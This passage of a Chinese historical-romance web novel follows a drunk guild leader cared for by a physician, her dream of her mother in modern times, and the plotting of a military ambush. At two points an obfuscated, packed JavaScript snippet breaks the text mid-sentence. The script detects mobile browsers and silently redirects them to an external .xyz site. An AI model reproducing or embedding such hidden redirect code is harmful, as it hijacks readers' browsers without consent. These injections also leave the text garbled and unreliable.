几枚玉水滴晃荡，发簪松松垮垮地发丝间滑落。 青丝柔顺地散开，软到几乎翘不出什么弧度。 青萍慌里慌张地接住那贵东西，起身迟疑道：“我怎么看着，感觉理事……” “你没感觉错。” 许竹影看着面前人红得跟新娘盖头似的脸色，指间上萦绕的酒味里沾了淡淡的暗香。 脑海里闪过谢大摆在桌上的那口大陶碗。 军中人都好烈酒，那碗估摸着起码得有个八两。 商会理事不都是人精吗，他看夏荇喝那么猛还以为千杯不醉呢。 怎么喝得这么实诚。 许小白脸摇摇头，叹气：“理事是醉了。” 看起来醉得还不清。 22. 过往 “实诚”的夏理事听到许竹影的话，不满地歪了下头。 她满脸通红，阖着眼朝右转身，轻轻地强调道：“没醉。” 实际在她左边的许竹影：“。” “理事，”青萍做贼似地伸出俩根手指，在夏荇面前晃了晃，“这是几？” 夏荇掀起眼皮瞄了一眼，语气笃定：“三。” “行，”许竹影强忍住没笑出声，“你说这是三那就三吧。” 夏理事醉了后倒是没什么没酒疯，一个人呆愣愣地站着当木桩子，嘴里飞快地絮叨谁都听不懂的糊话。 就是人也迈不开腿，许竹影道句“得罪”，强行将人背起。 发丝散在脖颈，走起来有丝丝的痒。 许竹影默默将夏荇又往上托了托，稍稍偏过一些头，确认她有没有哪里更不舒服。 灯笼朦胧的火光间，夏理事正蹙着眉，趴在肩头嘀咕：“这个知识点都好好听，三圈环流三圈环流，这块高考起码有个十分呢。” 过往那点早就被压得严严实实的记忆在酒精作用下，疯狂地在眼前闪成走马灯。 纤长浓密的睫羽眨巴眨巴，眼眸中的各种情绪上泛下沉，速度快到竟然如同没有什么变化一样。 青萍边走边听，总觉得理事说的应该是什么很恐怖的东西，挠挠脑袋与喜画道：“说啥呢这是？你听得懂吗？” 狭窄的石板路转弯种着颗大石榴，恰到时节花香热烈， 更远处，漆黑茂盛的树顶之后，专门给来客准备的二层竹楼点起油灯。 专心带路的喜画一下被问住，想了想回她道：“不知道啊，许是理事想吃糕点了吧。” “有道理，我明儿去找找有没有绿豆。” “那坝山应该没有，洋芋可以吗？” “姐姐这差得也太远了吧……” …… 石舂中的洋柿子被无情地搞烂。 “呼，”青萍放下石柱，又往里面丢了几个新鲜现摘的红黄色小果，“这玩意儿闻起来还怪香的。” 鉴于理事不爱喝药，喜画出去晃荡一圈，从厨房的嬢嬢那里讨来她们自己种的蔬果。 “那是，这可是特地从外头来的种子。” 坐在一旁陪她干活的喜画在纸上写写画画，见舂声停止，笑着站起来帮她搭把手。 火红的果汁倒出，刚刚好盛满白陶小碗。 陶罐罐与奇异怪石摆满长版窗台。 窗外，淡紫色的飞蛾藤垂下长长的枝条，夏荇缩在门口的竹椅里，睡得安安静静。 许竹影扒拉几下土灶里燃尽的木柴，又塞了点包谷梗进去。 火舌温和地舔过松针，噼里啪啦的碎响声接连不断。 烧开的井水咕噜咕噜地顶起罐子盖，洋柿子汁被青萍用小陶勺送到夏荇嘴边。 “理事这嘴不肯张啊……” 拼尽全力只不过喂饱了夏荇的衣领。 干完活，坐在土灶前的许竹影扭过头，桃花眼里跳动着流动的火。 老虎钳被他随意丢开：“我来吧，刚好水也烧开了，青萍姑娘直接煮粥便可。” “你还会这个？” 死马当活马医，青萍将信将疑地将碗交给他。 许竹影动手放平竹椅，道：“只是过去常给病人喂药，故而有点小心得，算不上什么。” 零星几点藤花趁人睡着，自顾自飘到了夏荇的发间藏着。 许竹影见状拨开，等指间触碰到竹椅边缘，要将那微不可见的紫色彻底扫落的手一顿。 他秘密捻起开得最盛的那多朵，谁也没发现地放入袖中暗袋。 许家家传的医术确实有自己的独到之处，走林翻山百米射鹰的青萍稍稍晃了下神，人已经干脆利落地卸了夏理事的下巴。 果汁一勺接一勺地缓缓倒入。 “哎，”青萍搁旁边看得双眼直亮，“你这法子好啊！脱了后别人自己能合上吗？” 也不知道能不能学来逼供。 许竹影忙着干活，随口答道：“不懂其中关窍的话，折磨个三四天没什么问题。” 原本淡若初樱的颜色沾上火红的果汁，亮得像是涂了昔日宫宴才会见到的西域口脂。 石碗见底。 许竹影轻轻将关节重新扳回正位，在青萍密集的追问中再三保证不会对夏理事产生半点不适影响。 喜画默默往粥汤里倒撕好的鸡腿肉，不参与那边对于如何折磨人交代的残酷讨论。 只在医师和马夫讨论到哪几种果子吃下去会腹痛难忍却不致命时，出声提醒道：“方才理事的嘴唇是不是动了下？” 许竹影与青萍：“？” 青萍：“！” 她率先反应过来，蹲下仔细打量。 就是不仅没捕捉到夏荇梦魇说了啥，反而还在脸颊上瞧见颗明晃晃挂着的泪珠。 美人垂泪，路过的狗都得停下来跟着伤心。 更别提夏荇还是青萍的好理事。 藤花被人无措地揪。 “这是咋了？” 青萍着急推测，手上快把那条无辜的飞蛾藤给欺负得就剩个光杆：“难不成是方才谈的时候遭欺负了？” 她在看这人没事干就爱往喜画面前路过的就觉得不对劲了！ “应该不是，”许竹影摇头，“你看。” 夏荇脸上的潮红在喝了解酒利器洋柿子后就逐渐消了下去。 她窝在竹椅里，想必是没梦到什么好东西，惹得俩道细眉都快皱到贴一起。 压在身下的长发从竹片缝隙里滑落。 夏荇不安地翻了下身子，嘴唇微动吐出两个发音极短的气声，将自己团得更为彻底。 “妈妈。” 许竹影轻声跟着重复。 他垂下眼，寻着舒服姿势的夏荇将脸埋了起来，卡在个绝对会难以呼吸的位置消停不动。 似乎这样才能安心。 翻山过沟时带走的泥土草叶粘在夏荇的衣裳各处，甚至叫她显得有点脏兮兮。 这人布局万里，明察形势搅动风云，压得世俗里的权贵侯爵收起獠牙、笑面相迎，身后光芒耀眼万丈，竟然都能叫人忽略：其实她一直是孤身一人。 许竹影感到疑惑。 春风会能人无数全盘信任，江南花氏桃姨鼎力支持，如此多的人选里，居然都没有个能让她放心喊出来的人吗？ 好像数次呼唤，叫的都是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461448|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个最简单的称呼。 喜言掀开盖子：“好了。” 陶罐里的粥满到几乎要溢出来。 那里面特意加了好几种能养气补声的药草，熬出来的香味飘而不落、最是抚慰。 许竹影与喜画共同商量好方才定下，只是当下看这情况，怕是还得再加几味来养神助眠。 竹栏杆上缠饶的叶子也惨遭被揪落的命运。 “妈妈，”青萍无措，“啊。” 那这可就有点不好办了啊。 许竹影迟疑道：“理事的母亲，现在应该在江南？不如青萍姑娘等坝山的事情结束，出西南运货时给理事带几封家书走，也好聊解念想。” 要是让夏荇一个人扛下去，估计会出事。 “不是……” 青萍更纠结了。 许竹影并不清楚江南冤案还有别的生还者，但是他们春风会里接触理事的都知道啊。 要是让这人猜到理事与这事有关，哪里会管那么多细枝末节，估计立刻就为了他哥开始整小动作了。 “我们理事的母亲不在了，”想来想去，她索性用了个最简单的说法，瞪圆眼睛威胁道，“等明早理事醒了，你也不准在她面前提这伤心事！” 夏家满门抄斩，就独女侥幸苟活留姓改名。 年初冬雨时分，春节的红联还贴在门上被娃娃们扣，桃姨领着浑浑噩噩啥都忘记的理事回到春风会，只和花荷交代了如今的名字。 剩下的调查，就不是青萍负责的部分了。 许竹影躬身：“抱歉，许某日后定会注意。” 夜晚的虫鸣从小楼门前流过的水涧传来，接缝处的月光是流水的形状。 青萍瞧着那无边的漆黑与唯一的几片银白，摆摆手：“放心，理事平常也不提这些过去的事，你就是想触也触不到什么霉头。” 她眼神向前飘忽，似是回忆似是感叹地道：“自是人生长恨水长东，她是最会向前看的。” 夏荇、姓夏…… 许竹影胡乱猜测，自己都快被自己愚蠢的想法弄笑。 怎么可能？ 大概怀念与真正的遗憾总是截然不同，江南夏家的独女哪怕真地活了下来，醉酒后的语气也多少会带点委屈与难过。 可许竹影听着夏荇刚刚话里的情绪，总觉得她应该是在撒娇。 撒娇吗，下意识的依赖与信任。 就如同面前真得有这么一个人站在面前，静静地对着你笑，于是我就算竭尽全力也要回到你身边。 母女之情血浓于水，自出生时所剪断的脐带到墓前所放的白花与祭品，哭与笑位置轮番颠倒，但爱贯穿始终。 好像陆淮安给的京中传闻里提到过，长公主前往江南的时间晚了三天，是因为听到太后风寒后立马回宫照顾，以至于错过了在城门口等了许久打算道歉的驸马。 当晚，宫中就传出萧舟雪对于此事的评价：一千个驸马爷也没她娘重要。 这么想的话，感觉这俩个人若是认识，应该能成为很好的知己。 等等…… 这下许竹影是不笑也得笑出声。 也真是疯了，居然能把这俩个八竿子打不着的女人联系起来。 23. 幻梦 车载收音机的沙沙电流外，夏荇听见阵持续不断的狗吠。 小朋友们贪玩烟花所留下的彩色纸片飘落满地，木案板上的饺子个个按次序排好，等着待会儿下锅开煮。 老屋门前的柿子树上挂着专门留下的果，麻雀落得三三两两，吃一口朝下好奇地探三眼。 “这是咱们家的人，你叫啥啊？” 坐在门口对着小龙虾洗洗刷刷的舅舅笑着冲上来，将呲牙咧嘴的比熊赶到旁边。 他小拇指头还勾着牙刷，狼狈地屋里喊：“哎！草草回来啦！” “嗯，”夏荇从车上钻出，藕粉色羊毛大衣的胸口还挂着忘记摘下的工作牌，“今年学校领导为了出成绩，拉着我寒假到处开会，幸好溜得早还能赶上晚饭。” 后备箱打开，草莓车厘子与各种礼盒快将两个巨大的米白色行李箱给淹没。 夏荇还没伸手，就被家里人“你能拿得动什么”的眼睛给瞪了回去，哭笑不得地接过盘刚炸好的莲藕肉丸子。 西北风路过石墙，毫不客气地轻松吹倒只有她头上只有装饰作用的贝雷帽。 “你那工作赚得多是多，就是压力也太大了……”搭得松松垮垮的围巾被仔细地重新绕起，来人甚至颇有先见之明，利索地给她套上毛茸茸的针织帽。 夏荇一口一个地吃丸子，听母亲边收拾她边絮絮叨叨地安排：“这届高三带完就别做了，来妈妈这里帮忙拎画包，我带你出去游山玩水。” 今天的风中似乎都带着催促的鼓点，麻雀也急着回家吃年夜饭，吃够柿子拍拍翅膀，就溜得没了影。 精致的卷发末端挑染着几道饱和度极高的红，眼睛中荡开温润的水波，笑盈盈地将注视者拉入杨柳拂水的春天。 无论形状、走势、弧度，都与夏荇的那双如出一辙。 夏女士绕完，好笑地摘下印着女儿大头照的方形牌牌，问道：“愣着干什么呢？进屋，外面冷。” 身后，农村小院的石榴树被堂弟堂妹们嬉笑打闹着挂上灯串与小红包。 指间的油光还残留厨房的烟火味，夏荇笑了笑，将头埋在妈妈的脖颈间，闻从小到大无比熟悉的香水味道。 “没，”疲惫的声音抑制不住地发闷，“妈，就是觉得好久没见到你了。” 感受到母亲的回抱，她在人怀里缩得更紧了些，道：“我好想你。” 好想好想。 想到似乎许久都没有见过面了一样。 “平常工作那么忙，妈妈想见你都跟当年上高三送饭似得，”夏女士温柔地拍了拍夏荇的肩膀，似是感叹似是抱怨，“叫你辞职又不肯。” 璀璨灯光刹那间通电亮起，大姨的方盘里垒了咕噜肉红烧鱼炸虾球数道大菜，身影从门口一闪而过。 闪完，又折回来探出个头，冲俩人喊道：“别抱了别抱了！哎呀呀酸死个人！” “哎呀，人家母女都半年没见过了，酸一下怎么了，”舅舅单手扛起剁得干干净净的牛骨，“草草吃完饭明天就得回去呢！睡都只能睡一晚。” “呦，那你俩可得多抱回会儿，抱到吃饭都行！” …… 吃饭…… 好饿，好像该吃饭了。 天光刚刚翻出鱼肚白，清晨的微风穿过屋子，夹杂几声空灵寂寞的鸟鸣。 夏荇撑手坐起身，酗酒后本该黏腻的身子说不出的清爽。 棉麻制的绣花被子滑落，露出已经被贴心换过的干净中衣。 深藏功与名的青萍和衣而眠，在矮阁里睡到被子都踢掉而不自知。 夏荇随手给她重新盖好，随后在桌上的茶叶罐中捡了块不知谁遗留的碎茶饼，泡开才发现这居然是西南少见的绿茶。 古代泡茶都有套巨繁琐的过程，温度茶盏水种样样挑剔，洗茶醒茶不可颠掉，但对于早就被繁琐工作泡入味的夏荇来说：其实能喝就行，剩下的真喝不出什么太大区别。 有个茶味，最重要是巨多巨浓的茶多酚，吊着精神气，好叫人喝完，哞得一声又继续拉磨耕地。 既然现下没有刚烧开的热水，那就凉水冷萃。 总是能喝，不是吗？ 茶在水中缓慢地舒展开扭曲干枯的叶片。 庄周梦蝶浮华一场，原先现代社会生活过的二十几年如同那戛然而止的新年散去，还没闻够佳肴与甜点的香味，漫山遍野的清风与绿树便不管不顾地冲入脑海。 仿佛她的前半生就只是做了个很长很长的梦。 梦里高楼林立家庭和满，无论劳累到何时都还有个可以回去的港湾，没有大恒的封建王权压迫、也没有必须背负的血海深仇。 朦胧阳光投出镂空花窗的直圆线条，夏荇投过去视线，看见无数浮在空中的细小灰尘。 护着糕点的圆形竹罩扣在矮桌，远远望去竟然如同年夜饭上，松鼠鳜鱼被花刀宽油炸出来的纹路。 窗外，高过的石榴树枝叶摇晃。 夏荇端着茶杯探出身，本意打算放空脑子看看远山，谁料在小楼门前的空地上意外瞥见道身影。 坝山内的栽种可谓胡乱一通，仗着阳光好降水足，植物长得好而东种几片西种一群，在楼上看下去，只觉得误入了谁不小心打翻的炫彩花毯。 同样早起的许竹影站在蔷薇花墙前，拿从院外树林里捡来的枯树枝当剑晨练。 绿荫遮挡，衣袍翻飞，银饰竹叶在花里胡哨的招式间滑成炫白的流光。 许竹影收尾翻手停顿，枝条恰好稳稳地接住片刚飘下来的石榴叶。 满地落叶间出现了个空荡荡的圆形。 许小白脸站在圆心，准确无误地抬起头，隔着层层碎叶冲她问好：“理事，早。” 薄薄的一层肌肉充血鼓起，太阳用一道白金色勾勒出逆着天光的人影轮廓。 看不懂，但似乎舞得还算不错。 夏荇单手只着头，回他：“早。” 就是眼睛实在太尖。 “理事昨夜饮了酒，”许竹影丢开树枝朝回走，捡起点医师的责任感问她，“可还有什么不舒服？” 夏荇并不答话，指间拨弄快要长到屋内的藤花，岔开话题道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474341|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “许公子方才那套剑舞得漂亮，可是跟什么江湖上的有名人士学过？” 还能有心思打听，看来是舒服了。 许竹影扫开草叶，在台阶上坐下与她闲聊：“江湖人士倒也算不上，只是医师身份特殊，为了防止某些病人加害，不得不学点东西防身。” 当时还住在京城，各地能人异士最汇聚的地界，慕名前来找许竹影他娘治病的病人付不起药钱诊金，就会选择教那俩个还没大人膝盖高的萝卜丁点招数。 什么将领什么乞丐，学得颇杂，从武学正统到下三路手段都有，用起来倒是融会贯通效果不菲、揍人能揍得对面嗷嗷叫。 原来古代也得防医闹吗…… 夏荇听完，短暂地沉默了几秒。 许竹影自己也靠在篱笆上笑。 他抬手指向远方的山尖尖，状似无意提起地道：“东边似乎早早就有了人过去，是和理事昨晚与谢将军聊的内容有关？” 许医师能被带上，完全是怕瘟疫有啥变故，没控制住时好控场。 现下 绣着恒字的军旗随着话语唰然倒地，青烟直上，随着惊起的飞鸟飘向河对面的密林。 好像快到时辰了。 夏荇来到古代足足半年，总算学会如何依据天色判断时间。 她看向还树立在坝山中央的最后一面旗帜，沉声道：“许公子自己随便猜测，只要嘴巴够严便可。” 无论是准备演练还是准备撤离，演武场的动静从昨夜谈判结束后就没停止过闹腾。 “那理事尽管放心，”许竹影得了话，拿出种你尽管放心我绝对不搞事的态度保证，“毕竟我们之前不是还有个合作？” 夏荇：“许公子还记得就行……” 虽然许竹影目前确实没捣鼓乱，但总觉得这人没表面那么老实。 坝山所囤精兵数目两万，是谢家百年培育，设置在关辖枢纽的易守难攻之地，对于抗击南安最应以为傲的底牌。 若非‘长公主’无意发现范元安的阴谋诡计，谢夫人早早派人秘密提醒坝山收尸焚鸟、烧水煮药，当下怕不是瘟疫横行、只能干等范元安轻轻松松破关。 但现下据密探所报，范元安半点未听闻瘟疫已解之事，还坐在自己的美人堆里醉生梦死，等着坝山扛不住瘟疫与军情图泄露的双层压力撤退。 于此，将计就计可成。 还在府城之时，夏荇就和杜雁秋讨论过这件事。 敌人意图进来，那就让他们进。 坝山三面围山背后靠水，范元安兵马人数不够，自然无法探明全部山间与小路，只能随便派几个人去随便看看，大致确认没有什么异样便回来复命。 只要表面撤离后按兵不动，放出足够的虚弱信号告诉范元安瘟疫没有问题，等修整完毕全副武装的坝山军从背后摸上来，杀光坝山内的南安人就跟玩儿一样。 清晨的微风实在是太过舒服，夏荇趴在窗框上思考，忍不住打了个懒洋洋的哈切。 真好啊，也算对这个莫名其妙就来了的古代世界做点贡献。